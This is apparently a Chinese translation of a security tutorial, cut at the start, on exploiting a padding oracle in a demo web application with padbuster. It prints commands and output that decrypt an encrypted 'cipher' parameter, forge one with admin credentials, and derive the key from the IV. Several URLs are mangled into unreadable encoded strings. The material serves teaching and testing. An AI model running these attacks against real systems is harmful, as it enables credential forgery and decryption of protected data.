curl f45K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6W2j5$3S2G2i4K6y4r3j5$3W2H3K9r3g2J5i4K6y4p5y4o6R3@1j5U0R3#2x3o6p5J5x3$3p5H3y4r3u0S2k6U0p5#2k6r3j5&6j5X3f1I4y4r3f1^5y4K6x3$3z5h3t1K6x3o6W2W2k6X3f1&6j5K6W2X3j5U0M7I4k6h3p5J5z5o6y4V1k6o6b7J5k6e0b7@1y4h3y4U0y4$3t1#2y4l9`.`.
decrypted: ApplicationUsername=user
curl aebK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1x3K6l9&6k6h3k6W2z5h3x3&6k6X3t1%4x3h3g2S2x3U0R3K6k6r3b7@1x3X3f1@1y4o6g2U0j5K6N6T1y4e0b7`.
Password missing
当篡改最后一块时,padding将变成无效。结果,因为应用程序无法解密“cipher”参数,所以会返回 “ApplicationUsername missing”。
curl 657K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1j5K6f1&6j5$3p5I4y4X3f1I4k6U0x3$3y4o6g2W2k6U0f1K6j5$3x3$3j5e0c8V1z5h3b7^5y4K6x3H3z5r3g2V1x3U0x3^5x3X3k6T1x3r3p5#2y4r3j5K6j5e0t1&6y4e0c8T1k6X3g2T1k6e0m8S2x3o6c8V1k6o6c8X3k6R3`.`.
ApplicationUsername missing
不幸的是,使用最小项(minimal options)启动padbuster会失败:当它试图暴力破解第一块时,总是遇到同样的错误消息(ApplicationUsername missing)。
padbuster "d9cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1j5K6f1&6j5$3p5I4y4X3f1I4k6U0x3$3y4o6g2W2k6U0f1K6j5$3x3$3j5e0c8V1z5h3b7^5y4K6x3H3z5r3g2V1x3U0x3^5x3X3k6T1x3r3p5#2y4r3j5K6j5e0t1&6y4e0c8T1k6X3g2T1k6e0m8S2x3o6c8V1k6o6c8V1y4R3`.`." "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 [snip]
ERROR: All of the responses were identical.
Double check the Block Size and try again.
但是,我们仍然可以利用应用程序检查字段的顺序特点来破解:如果padding无效,它仍旧会返回“ApplicationUsername missing”。我们只需要预先考虑包含“ApplicationUsername”字段的加密数据:如果padding是正确的,那么我们会得到不同的响应。通过这种方式,我们可以解密除第一块之外的所有块。
在下面的例子中,在执行padding oracle攻击时,我们预先考虑了密文的前两个块,这是因为“ApplicationUsername”字段横跨了两个块(见附录)。
padbuster "363K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1j5K6f1&6j5$3p5I4y4X3f1I4k6U0x3$3y4o6g2W2k6U0f1K6j5$3x3$3j5e0c8V1z5h3b7^5y4K6x3H3z5r3g2V1x3U0x3^5x3X3k6T1x3r3p5#2y4r3j5K6j5e0t1&6y4e0c8T1k6X3g2T1k6e0m8S2x3o6c8V1k6o6c8V1y4R3`.`." "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 117
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]
0×03 加密
我们也可以加密任意内容(请参阅padbuster博文原文,以了解背后的工作原理)。不过,唯一的限制是不能控制第一块,这是因为此时静态初始化向量正在被占用。如果我们用“=bla&”终止第一块中无法控制的数据,那么应用程序将仍然接受由此产生的密文。注意,我们精心编制的密文不必具有与原始密文相同的长度。
padbuster "610K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"
[snip]
[+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
-------------------------------------------------------
curl 1fcK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6M7#2x3$3f1J5x3o6b7%4k6e0p5&6j5X3j5J5y4o6R3$3y4X3q4W2y4e0j5K6y4r3j5K6y4o6f1@1k6h3j5K6j5e0x3^5x3o6u0V1y4e0p5@1y4r3p5H3y4e0q4S2y4K6t1@1y4U0M7$3x3X3j5#2y4$3p5I4y4X3j5%4x3K6f1K6x3h3b7%4y4X3q4V1j5e0f1J5y4o6t1J5k6e0p5%4y4X3g2S2x3o6N6W2y4o6f1K6z5o6c8V1k6U0j5&6k6o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3x3o6l9H3
decrypted: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin
parsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}
0×04 获得密钥
能够解密并编造“cipher”参数都非常糟糕了,但为密钥设置初始化向量却引入了另一个漏洞:初始化向量(以及由此产生的加密密钥)是第一块与解密第一块所产生的中间值进行XOR运算得到的明文(见下面的框图)。
我们可以这样假设,攻击者可以根据以下信息猜出明文:规范、从padding oracle攻击中的解密部分或者应用程序展示的消息。

通过使用padbuster 的“-noiv”开关,我们能够得到解密第一块后的中间值:
padbuster "86cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1H3x3o6m8Q4x3V1k6U0K9r3g2U0K9#2)9K6c8X3y4A6M7r3S2W2M7W2)9K6c8o6b7^5y4r3t1^5y4e0l9I4x3U0y4S2x3o6c8T1j5h3j5I4y4h3c8X3z5h3u0W2x3e0c8W2z5o6M7K6y4U0W2T1" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv
[snip]
Block 1 Results:
[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b
[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728
[snip]
一旦我们得到中间值,那么我们将其与明文进行XOR运算就可以获取加密密钥:
0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)
XOR
0x7141425f5d56574351562f1730213728 (intermediate value)
=
0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)
0×05 定制Python脚本
在padbuster不够灵活的情况下,python-paddingoracle库允许我们创建一个定制的漏洞利用工具。例如,当目标应用程序使用CSRF令牌或在测试web服务时。
在GitHub上可以找到两个利用了我们示例的web应用的Python脚本。第一个脚本“http-simple.py”针对简单的场景。更高级的场景需要前缀密文,这已在“http-advanced.py”中实现了,这个脚本还演示了如何加密明文及计算密钥。
0×06 附录:密文块
块1: 484b850123a04baf15df9be14e87369b ApplicationUsern
块2: c59ca16e1f3645ef53cc6a4d9d87308e ame=user&Passwor
块3: d2382fb0a54f3a2954bfebe0a04dd4d6 d=sesame[padding]
*参考来源:gdssecurity,编译/FB小编JackFree,有适当删减,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)
赞赏
赞赏
雪币:
留言: